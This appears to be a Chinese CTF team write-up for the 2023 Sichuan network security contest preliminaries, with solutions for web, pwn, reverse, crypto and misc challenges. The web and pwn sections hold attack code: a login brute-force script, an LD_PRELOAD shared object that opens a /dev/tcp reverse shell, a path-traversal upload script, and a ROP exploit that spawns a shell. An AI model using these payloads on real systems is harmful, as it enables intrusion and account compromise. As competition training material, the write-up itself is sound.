2023年四川省网络与信息安全技能大赛初赛 团队赛 Writeup

Web

简单的登录

给了信息 账号为学号密码为电话,写脚本爆破

在这里插入图片描述

import requests
import time

url = "http://80.endpoint-510c6a2a3fca48e49b021dbc9865ebc5.m.ins.cloud.dasctf.com:81/login.php"
cookies = {"PHPSESSID": "c5372a4bf02885b3eaed1a255ccdc537"}

import itertools

data = {
    "20220890": "139***41269",
    "20220106": "185***95678",
    "20220323": "157***14002",
    "20210271": "159***56321",
    "20200321": "159***33221",
    "20220909": "137***21234",
    "20220981": "136***49043",
    "20221261": "158***77892"
}

combinations = [''.join(p) for p in itertools.product("0123456789", repeat=3)]

for key, value in data.items():
    for tel in combinations:
        tel1 = value.replace('***', tel)
        data = {"username": f"{key}", "password": f"{tel1}"}
        while True:
            a = requests.post(url,  cookies=cookies, data=data)
            time.sleep(0.2)
            if a.status_code == 429:
                time.sleep(1)
            else:
                break
        if '<div class="error-msg">账户或密码不正确</div>' in a.text:
            print(key, tel1)
            print("登录失败")
        else:
            print(a.status_code, key, tel1)
            exit()

在这里插入图片描述
得到账号密码:20210271 15978456321

登陆后台命令执行:nl flag.txt

在这里插入图片描述

web-game-1-2

scene.js发现有发起http请求,但是关键参数被十六进制编码了

在这里插入图片描述

解码发现就是给getgame.php传一个POST参数sunnum,猜测就是传数值大于多少就返回flag

在这里插入图片描述
直接传大一点的值,回显flag
在这里插入图片描述

ezphp2

<?php
error_reporting(0);
$Seed = str_split(uniqid(),10)[1];
extract(getallheaders());
mt_srand($Seed);
$Flag = str_split(file_get_contents("/flag"));
$Result = "";
foreach ($Flag as $value){
    $Result = $Result . chr(ord($value)+mt_rand(1,2));
}
if (isset($Answer)){

    if ($Answer == substr($Result,0,strlen($Answer))){
        echo "wow~";
    }else{
        echo "no~";
    }
}else{
    highlight_file(__FILE__);
    echo "no~";
}

提供随机数种子,answer会和目标进行比较

import requests
import time
url = "http://80.endpoint-2d1f3f78be324607a1d61565983754f5.m.ins.cloud.dasctf.com:81/"


def req(flag, s):
    for i in range(33, 128):
        flag = flag[:s] + chr(i)
        headers = {"Cache-Control": "max-age=0", "DNT": "1", "Upgrade-Insecure-Requests": "1",
                   "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36",
                   "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
                   "Accept-Encoding": "gzip, deflate", "seed": "2", "answer": flag,
                   "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6", "Connection": "close"}

        while True:
            a = requests.get(url, headers=headers)
            time.sleep(0.2)
            if a.status_code == 429:
                time.sleep(1)
            else:
                break
        print(a.text)
        if 'wow~' in a.text:
            return chr(i)


flag = ''
tmp = ''
for i in range(0, 50):
    result = req(tmp, i)
    tmp += result
    print(tmp)
    
# FCUEVH};7986:963:;366625418497884:53493~

php还原

<?php
$Seed = 2; 
$Result = "FCUEVH};7986:963:;366625418497884:53493~"; 
mt_srand($Seed);
$Flag = "";

for ($i = 0; $i < strlen($Result); $i++) {
  $char = $Result[$i];
  $original_char = chr(ord($char) - mt_rand(1, 2));
  $Flag .= $original_char;
}
echo $Flag;
?>

php5执行,得到flag

DASCTF{96865985289254513206286663932372}

easyLD

编译so文件

#include <unistd.h>

static void before(void) __attribute__((constructor));
static void before(void)
{
    unsetenv("LD_PRELOAD");
    system("bash -i >& /dev/tcp/xxx.xx.xx.xx/9999 0>&1");
}
gcc -shared -fPIC eval.c -o eval.so

然后上传

import requests


url = 'http://8000.endpoint-cb07830ae1724a76b05825d83710a85a.m.ins.cloud.dasctf.com:81/upload'
name = "eval.so"
with open(f"{name}", 'rb') as file:
    files = {'file': (f"{name}", file, 'image/png')}
    data = {
        'uploadPath': '../../../../../../../../../../../../../../../../../../'
                      '../../../../../../../../../../../../../../../../../../../../../'
                      '../../../../../../../../../../../../../../../../../../../../'
                      '../../../../../../../../../../../../../../.'
                      './../../../../../../../../../../../../../../../../../../../'
                      '../../../../../../../../../../../../../../../../../../../..'
                      '/../../../../../../../../../../../../../../../../../../../../'
                      '../../../../../../../../../../../../../../../../../../../../../.'
                      './../../../../../../../../../../../../../../../../../../../../../',
        'env': f"LD_PRELOAD=/{name}"
    }

    response = requests.post(url, data=data, files=files)
print(response.text)

上传过程中后台在开个burp来触发执行环境变量

在这里插入图片描述
在监听端即可获得shell

web-include-1-1

index有输出源码,猜测为include($file.'.php');,直接伪协议读flag:?file=php://filter/convert.base64-encode/resource=flag

在这里插入图片描述

Pwn

justread

栈迁移,没开PIE,不过题目没给libc版本,远程连接上后根据leak出的地址,估计是libc2.23,这里给出的偏移是错的
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
Exp

from pwn import *
from LibcSearcher import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')	#info

path = "./pwn"

#p = process(path)
p = remote('tcp.cloud.dasctf.com', 25949)
elf = ELF(path)
libc = elf.libc

def g():
	gdb.attach(p)
	raw_input()


sl = lambda arg : p.sendline(arg)
sla = lambda arg1, arg2 : p.sendafterline(arg1, arg2)
sd = lambda arg : p.send(arg)
ru = lambda arg : p.recvuntil(arg)
inv = lambda : p.interactive()

pop_rdi = 0x0000000000400723
leave_ret = 0x0000000000400691
bss = 0x601000
bss1 = bss + 0x500
vuln_read = 0x400675
vuln = 0x4006a6

ru(b'just read!\n')

pay1 = b'A' * 0x40 + p64(bss1) + p64(vuln_read)
sd(pay1)

pay2 = p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(vuln)
pay = pay2.ljust(0x40, b'B') + p64(bss1 - 0x48) + p64(leave_ret)
sd(pay)

puts_addr = u64(ru(b'\x7f')[-6: ].ljust(0x8, b'\x00'))
print('puts_addr = ', hex(puts_addr))

libc_base = puts_addr - 0x6f6a0 
system_addr = libc_base + 0x453a0
bin_sh = libc_base + 0x18ce57

bss2 = bss1 + 0x300
pay3 = b'A' * 0x40 + p64(bss2) + p64(vuln_read)

ru(b'just read!\n')
sd(pay3)

pay4 = p64(pop_rdi + 1) * 2 + p64(pop_rdi) + p64(bin_sh) + p64(system_addr)
payload = pay4.ljust(0x40, b'D') + p64(bss2 - 0x48) + p64(leave_ret)
sd(payload)

inv()

Reverse

EzGo

首先找到main_main函数,然后发现发编译不完全,但是我们可以看汇编得到相应逻辑

在这里插入图片描述
这里我们不难发现,首先是提示输入flag之后进入encryptFlag函数对输入进行加密加密之后再跟

QWsYXVkrite0ipkr/Qj07p40zEjY3EnDWZJCWrnZmquTmZH0mvCOWrmYmv1OWr4snVjNmvLr3ygridFOjV7aeyeQFsuk

进行比较 所以我们只要关注encryFlag做了什么就知道

在这里插入图片描述
如下图 发现他只做了一个base64加密 但是base64加密 他在初始化的时候换了 编码表 然后倒序了一下 我们只要换表base64解密然后逆序输出就能得到flag

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

data = '}5ma3rd_r13h7_f0_y7ua3b_n!_3v3!l3b_0hw_350h7_0t5gn0l3b_3ru7uf{FTCSAD'

print(data[::-1])

# DASCTF{fu7ur3_b3l0ng5t0_7h053_wh0_b3l!3v3_!n_b3au7y_0f_7h31r_dr3am5}

MediumRev

IDA反编译发现一个函数有花指令,先去除花指令

在这里插入图片描述

去除花指令之后 函数如下

int __cdecl sub_411840(char *a1, size_t Size)
{
  char v2; // al
  char v3; // al
  char v5; // [esp+0h] [ebp-1ACh]
  char v6; // [esp+D3h] [ebp-D9h]
  unsigned int i; // [esp+DCh] [ebp-D0h]
  unsigned int j; // [esp+DCh] [ebp-D0h]
  size_t v9; // [esp+E8h] [ebp-C4h]
  unsigned int v10; // [esp+E8h] [ebp-C4h]
  size_t v11; // [esp+E8h] [ebp-C4h]
  size_t v12; // [esp+100h] [ebp-ACh]
  char Buf1[52]; // [esp+118h] [ebp-94h] BYREF
  char *v14; // [esp+14Ch] [ebp-60h]
  char *v15; // [esp+158h] [ebp-54h]
  _WORD Buf2[34]; // [esp+164h] [ebp-48h] BYREF

  j_memset(Buf2, 0, 0x40u);
  v15 = (char *)Buf2;
  v14 = a1;
  qmemcpy(Buf1, &encode, 0x2Bu);
  v12 = Size / 6;
  while ( *v14 )
    *v15++ = *v14++;
  v9 = 0;
  v15 = (char *)Buf2;
  while ( v9 < v12 )
  {
    for ( i = 0; i < 6; ++i )
    {
      v2 = sub_41123F(*v15, i + 1);
      *v15++ = byte_41B004[0] ^ v2;
    }
    ++v9;
  }
  v10 = 0;
  v15 = (char *)Buf2;
  while ( v10 < 6 )
  {
    v6 = *v15;
    for ( j = 0; j < v12 - 1; ++j )
    {
      *v15 = v15[1];
      ++v15;
    }
    *v15++ = v6;
    ++v10;
  }
  v11 = 0;
  v15 = (char *)&Buf2[3 * v12];
  while ( v11 < Size % 6 )
  {
    *v15 = byte_41B004[2] ^ (byte_41B004[1] + *v15);
    v3 = sub_411181(byte_41B004[0] + *v15, v11 + 3);
    *v15 = byte_41B004[3] ^ (4 * ((byte_41B004[1] >> 1) ^ v3));
    ++v11;
  }
  if ( !j_memcmp(Buf1, Buf2, Size) )
    return printf("Success!\n", v5);
  else
    return printf("Fail.\n", v5);
}

逻辑很简单,但是需要逆向算法,这边我们可以先dump数据

s = [ 0x07, 0x3D, 0x63, 0xF5, 0x4E, 0xEA, 0x75, 0x11, 0x04, 0xEE, 
  0x5E, 0x6E, 0x9B, 0x8A, 0x44, 0xF4, 0xB2, 0xF8, 0x1B, 0x39, 
  0x99, 0xF4, 0xF6, 0xCE, 0x80, 0x39, 0x54, 0xA2, 0x93, 0xF8, 
  0x8C, 0x9B, 0xA2, 0xEC, 0xFC, 0x6D, 0x19, 0xB1, 0x04, 0xDC, 
  0xA2, 0x93]

核心就是先把输入分成7组,对每组的每个字节进行移位和异或,其中异或值就是根据反调试来的
在这里插入图片描述
然后将输入分成7组进行每组的移动位置
在这里插入图片描述
最后如果输入不是6的倍数则对剩余字节进行的加密
在这里插入图片描述
Exp

s = [0x07, 0x3D, 0x63, 0xF5, 0x4E, 0xEA, 0x75, 0x11, 0x04, 0xEE, 0x5E, 0x6E, 0x9B, 0x8A, 0x44, 0xF4, 0xB2, 0xF8, 0x1B, 0x39, 0x99, 0xF4, 0xF6, 0xCE, 0x80, 0x39, 0x54, 0xA2, 0x93, 0xF8, 0x8C, 0x9B, 0xA2, 0xEC, 0xFC, 0x6D, 0x19, 0xB1, 0x04, 0xDC, 0xA2, 0x93]
x = 0x57
#s = [0x94, 0x3E, 0x6B, 0xC1, 0x94, 0xC1, 0xC1, 0x3E, 0x6B, 0xC1, 0x94, 0xC1, 0x94, 0x94, 0x6B, 0xC1, 0x94, 0xC1, 0x94, 0x3E, 0x3E, 0xC1, 0x94, 0xC1, 0x94, 0x3E, 0x6B, 0x6B, 0x94, 0xC1, 0x94, 0x3E, 0x6B, 0xC1, 0xC1, 0xC1, 0x94, 0x3E, 0x6B, 0xC1, 0x94, 0x94]
#s = [0x43, 0x74, 0x2E, 0x83, 0x98, 0xC0, 0x6B, 0x3E, 0x1B, 0xF1, 0x80, 0xC3, 0x56, 0xD4, 0x5B, 0xD1, 0x90, 0xC1, 0x55, 0xFE, 0x7F, 0xE1, 0xB8, 0xC4, 0x54, 0x7E, 0x7B, 0x3B, 0x88, 0xC2, 0xD5, 0xBE, 0xDB, 0x91, 0xC1, 0x41, 0x94, 0xDE, 0x0B, 0xE9, 0xAD, 0x9C]
def shift(a, b):
    v4 = b&7
    if v4:
        return (((a >> (8 - v4))&0xff) | ((a << v4)&0xff))
    else:
        return a

for i in range(6):
    tmp = s[7*i+6]
    for j in range(6, 0, -1):
        s[7*i+j] = s[7*i+j-1]
    s[7*i] = tmp
#print(s)
for i in range(7):
    for j in range(6):
        s[6*i+j] ^= x
        #print(s[6*i+j])
        s[6*i+j] = shift(s[6*i+j], j+1)
print(bytes(s))

# DASCTF{w257Br3v1ty_1s_th3_s0u1_of_w1t975q}

Crypto

easyhash

根据题目提示找到这样一篇文章:同态哈希函数(Homomorphic Hashing) - 知乎 (zhihu.com)
也就是利用指数运算的乘法同态性实现了:明文和的哈希值等于部分明文的哈希值的乘积

利用上述同态性,还原i为5,6,9时的哈希值乘积。设这一乘积为 h h h,hint.txt中所有哈希值乘积为 f f f则有: ( f ⋅ h ) m o d p = H = 1403 (f \cdot h)modp =H=1403 (fh)modp=H=1403

满足条件计算的结果有两个:414966713414968256
分解后者发现其有一个因子为6733,不满足小于p的条件于是排除。那么直接确定了三个哈希值乘积为414966713
利用yafu分解414966713,用因子进行组合,利用三个因子且均不大于p的条件可得几种组合可能。然后用sage的log求离散对数。

from Crypto.Util.number import *
        
facs = [[61*7,47*23,31*29],[61*7,47*29,31*23],[61*7,47*31,29*23],[61*23,47*7,31*29],[61*23,47*29,31*7],[61*23,47*31,7*29]]
for i in facs:
    try:
        for j in i:
            t1 = G(j).log(g)
            print(chr(t1),end='')
        print()
    except:
        continue

flag = 'DASCTF{'+ '48' + '1' + '8caa75b2d7586e96f4c552ded3654}'
print(flag)

# DASCTF{4818caa75b2d7586e96f4c552ded3654}

crypto-rsa-1-1

from Crypto.Util.number import *
from Crypto import *
import gmpy2
import libnum

n1=9116072673585619132111895403642168497263071691827949298017531396382827298782303749867264589825807183797020472968464660582686417921434431658511530041563901
n2=9676471733476806363827533442570967957871359923261140318101161479170327996682930238809368950608051282208303548660410073403065643718187781752130771337383629
c1=8824462894263393560944306775755201891143487603309462108944270494215822172733677936731309917183407096166230876035017809219712288813600390461631853255239986
c2=5015105118262293349286521985688699702504989063271993070991789714282577934372078450119431649574609758836593485914932778436203219098204688867565801371889451
e=65535

q=gmpy2.gcd(n1,n2)
p1=n1//q
phi_n=(q-1)*(p1-1)
d1=libnum.invmod(e,phi_n)
m=pow(c1,d1,n1)
print(long_to_bytes(m))

# DASCTF{09e6e620057c5df8bd6b95042f8ac11b}

crypto-classical-1-1

base64换表,根据题目提示旋转,猜测表为Rot13
在这里插入图片描述

Misc

No.11 is gone2

ftp传输了68zip,但是使用tshark导不出来,不知道是因为这里是字节码的缘故还是过滤语法和字段有问题

在这里插入图片描述
后面实在没办法了,就手工一个一个提取了

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
这个长度很明显可以CRC爆破明文,提取出来之后脚本处理获取所有zip的CRC

import zipfile

crc_list = []
for i in range(1, 68 + 1):
	zipFileName = './gone2/{}.zip'.format(i)
	file_handler = zipfile.ZipFile(zipFileName)
	name = file_handler.namelist()[0]
	name_info = file_handler.getinfo(name)
	crc_list.append(hex(name_info.CRC))
	print('[+] {0}: {1}'.format(name,hex(name_info.CRC)))
print(crc_list)

然后使用crc32爆破明文,也是同样苦逼手工,没有找到能够批量的方法

PS:注意11.zip是不一样的,11.zip是有加密的密码

在这里插入图片描述
在这里插入图片描述
最后解hex再解base64就可以了

在这里插入图片描述
但是导出打开有问题,发现是flag.txt文件名的位置没有补全

在这里插入图片描述
在这里插入图片描述
尝试补全之后即可正常打开

有密码,猜测密码是在11.zip中,但是试过伪加密发现不对,尝试爆破发现密码为: 1234

在这里插入图片描述
解压得到密码:p@33w07D1sE4sy
解压flag.zip得到flag

DASCTF{69a7c3f8eae457779f53be70a7e14a87}

misc-zip-1-1

在这里插入图片描述
直接根据提示掩码爆破
在这里插入图片描述
解压得到flag: DASCTF{b239dcd0fe7b6969b82b8abe1b7bb711}

misc-pic-1-1

EXIF

在这里插入图片描述

PS D:\Tools\Misc\crc32> php -r "var_dump(hex2bin('4441534354467b36346466336465313562643531653363626131353764363232386464613336387d'));"
Command line code:1:
string(40) "DASCTF{64df3de15bd51e3cba157d6228dda368}"
  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
蓝帽杯全国大学生网络安全技能大赛是一项面向全国大学生的网络安全。该比旨在提升大学生的网络安全技能和意识,促进网络安全人才的培养。比内容涵盖了各个领域的网络安全知识和技能,包括但不限于电子取证、加密通道、Web安全等方面。 该比提供了一系列题和附件,选手需要根据题目要求进行解答和实践。例如,电子取证题中,选手需要完成对手机取证的任务,通过分析附件中的数据和信息来获取所需的证据[2]。还有其他题如加密的通道和Web安全等,选手需要运用相关的知识和技能来解决问题。蓝帽杯全国大学生网络安全技能大赛为大学生提供了锻炼和展示自己网络安全能力的平台,也为培养网络安全人才作出了积极的贡献。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [[ CTF ]【天格】战队WriteUp-第六届”蓝帽杯“全国大学生网络安全技能大赛(半决)](https://blog.csdn.net/ZXW_NUDT/article/details/126173643)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [[ CTF ]天机战队WriteUp-第六届”蓝帽杯“全国大学生网络安全技能大赛初赛)](https://blog.csdn.net/ZXW_NUDT/article/details/125715546)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

末 初

谢谢老板!

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值